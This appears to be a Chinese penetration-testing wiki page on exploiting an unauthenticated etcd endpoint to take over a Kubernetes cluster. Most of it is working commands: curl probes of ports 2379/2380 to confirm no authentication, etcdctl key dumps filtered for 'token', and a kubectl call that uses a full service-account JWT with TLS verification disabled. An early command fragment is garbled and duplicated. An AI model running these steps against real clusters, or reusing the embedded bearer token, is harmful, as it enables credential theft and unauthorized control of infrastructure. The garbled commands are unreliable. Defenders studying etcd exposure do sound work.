作者 修订时间
wjlin0 2023-07-13 23:30:20

etcd

etcd 是一种分布式键值存储,提供了一种可靠的方式来管理分布式系统的协调状态。etcd 于 2013 年 6 月由 CoreOS(自 2018 年起成为 Red Hat 的一部分)首次发布。自 2014 年在 Kubernetes 中采用以来,etcd 已成为 Kubernetes 集群管理软件设计的基本组成部分,并且 etcd 社区呈指数级增长。etcd 目前已在多家公司的生产环境中使用,包括 AWS、Google Cloud Platform、Azure 等大型云提供商环境以及其他本地 Kubernetes 实施。

kubernetes 中,默认使用etcd v3 来存储数据,如果我们能够控制etcd服务, 也就拥有了整个集群的控制权

CTL_ENDPOINTS="http://192.168.3.105:2379/"
etcdctl getexport ETCDCTL_API=3
export ETCD
CTL_ENDPOINTS="http://192.168.3.105:2379/"
etcdctl get / --prefix --keys-only

image-20230708004633573

利用

etcd 也存在 api 和 命令行两种模式,这里以 etcdctl 利用为主

以下结果即存在未授权

curl http://192.168.3.105:2379/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}
# 或者
curl http://192.168.3.105:2380/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}

那么可以通过etcdctl 命令行工具运行查询token

curl -LO https://github.com/etcd-io/etcd/releases/download/v3.5.9/etcd-v3.5.9-linux-amd64.tar.gz 
tar xvf etcd-v3.5.9-linux-amd64.tar.gz && ln -s ./etcd-v3.5.9-linux-amd64/etcdctl /usr/bin/etcdctl
etcdctl -h

image-20230708005803211

获取所有带token键

etcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | grep token # linux
etcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | findstr token # windows

image-20230708010507545

获取token

image-20230708010605095

最后通过kubectl 利用即可

kubectl get po -A -s "https://192.168.3.105:6443" --token eyJhbGciOiJSUzI1NiIsImtpZCI6IlVxV2xjZ09VU1dJUEJGSzRPWmp3RFk2Q0lMdHpJWEFpSmpsTHNaRmtvNmMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlci10b2tlbi1jc3p6cCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlciIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjVlY2Y2N2JkLTJiZGMtNGNkYS1hMTljLTFjNTQ0Mzc1ZWI3YiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTpuYW1lc3BhY2UtY29udHJvbGxlciJ9.NyGdUVNba_XPyRnxRgjFKHpzPhzMOTFtkv1zG1EvN-982pN9P4WYLk-XrmFfEz--kt1LyFXujjQTr9gCL7g-OdW10IXo8_WRFmaM_V7FcOhPWxNNeY9WNMpcGdZ1VmIjOLln1lC8VVXJyt8YFFcTnc9sfZpj_Bc_d1L_RqUdu9IDtEZhN3ZQqdMbix__IdmJTnS9M2d_h6sl2ZlxpqeULJ86PkfvTMkRfuBTIuGNG2adFhe72eQjAK6xCk9liIJnaRDxRVADMKGw2RDykoCo8SvDx8fdi2Vv_EAofihw5zZz4YHro6mkCLclB725kCDonVHOUZncZcK4HtQHhhP5YQ --insecure-skip-tls-verify

image-20230708013804383

results matching ""

    No results matching ""